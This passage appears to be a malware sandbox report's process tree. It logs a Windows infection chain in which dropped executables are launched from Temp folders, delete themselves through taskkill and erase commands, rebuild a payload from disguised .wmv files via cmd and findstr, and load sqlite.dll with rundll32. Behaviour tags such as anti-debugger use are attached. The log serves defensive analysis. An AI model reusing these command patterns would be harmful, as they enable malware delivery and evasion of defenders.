C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3912 CREDAT:275457 /prefetch:26⤵PID:4064
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2f-33d4b-7da-40785-4354331c1c1e9\Petekuralo.exe"C:\Users\Admin\AppData\Local\Temp\2f-33d4b-7da-40785-4354331c1c1e9\Petekuralo.exe"4⤵PID:3288
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ttydnhoo.u4e\GcleanerEU.exe /eufive & exit5⤵PID:2820
-
C:\Users\Admin\AppData\Local\Temp\ttydnhoo.u4e\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ttydnhoo.u4e\GcleanerEU.exe /eufive6⤵PID:2512
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ttydnhoo.u4e\GcleanerEU.exe" & exit7⤵PID:3140
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f8⤵
- Kills process with taskkill
PID:3504
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3kkjy5zb.ccz\installer.exe /qn CAMPAIGN="654" & exit5⤵PID:1260
-
C:\Users\Admin\AppData\Local\Temp\3kkjy5zb.ccz\installer.exeC:\Users\Admin\AppData\Local\Temp\3kkjy5zb.ccz\installer.exe /qn CAMPAIGN="654"6⤵PID:2996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0lg1rcwk.jc4\anyname.exe & exit5⤵PID:3196
-
C:\Users\Admin\AppData\Local\Temp\0lg1rcwk.jc4\anyname.exeC:\Users\Admin\AppData\Local\Temp\0lg1rcwk.jc4\anyname.exe6⤵PID:3880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tppr4nrd.qy2\gcleaner.exe /mixfive & exit5⤵PID:3264
-
C:\Users\Admin\AppData\Local\Temp\tppr4nrd.qy2\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\tppr4nrd.qy2\gcleaner.exe /mixfive6⤵PID:3956
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\tppr4nrd.qy2\gcleaner.exe" & exit7⤵PID:3992
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0D68C224\Thu2156de5489c19.exeThu2156de5489c19.exe1⤵
- Executes dropped EXE
PID:1544 -
C:\Users\Admin\AppData\Local\Temp\tmp7C51_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp7C51_tmp.exe"2⤵PID:1940
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵PID:2356
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv3⤵PID:4056
-
C:\Windows\SysWOW64\cmd.execmd4⤵PID:624
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv5⤵PID:3948
-
-
C:\Windows\SysWOW64\PING.EXEping localhost5⤵
- Runs ping.exe
PID:2088
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u5⤵PID:984
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u6⤵PID:816
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2660 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:2672
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2912 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2912 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:284
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1552 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2700
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1849620509-10025360232081037045834384891-21349288031168546959-699921563-1354328295"1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2920
-
C:\Windows\system32\taskeng.exetaskeng.exe {7C444613-B86E-406C-8AE6-1E5BF79D652C} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]1⤵PID:3164
-
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exeC:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe2⤵PID:3768
-
-
C:\Users\Admin\AppData\Local\Temp\69BB.exeC:\Users\Admin\AppData\Local\Temp\69BB.exe1⤵PID:992
-
C:\Users\Admin\AppData\Local\Temp\AA64.exeC:\Users\Admin\AppData\Local\Temp\AA64.exe1⤵PID:2176
-
C:\Users\Admin\AppData\Local\Temp\AA64.exeC:\Users\Admin\AppData\Local\Temp\AA64.exe2⤵PID:928
-
-
C:\Users\Admin\AppData\Local\Temp\D471.exeC:\Users\Admin\AppData\Local\Temp\D471.exe1⤵PID:3688
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2308 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:3568
-
-
C:\Users\Admin\AppData\Local\Temp\AEC.exeC:\Users\Admin\AppData\Local\Temp\AEC.exe1⤵PID:3320
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:1756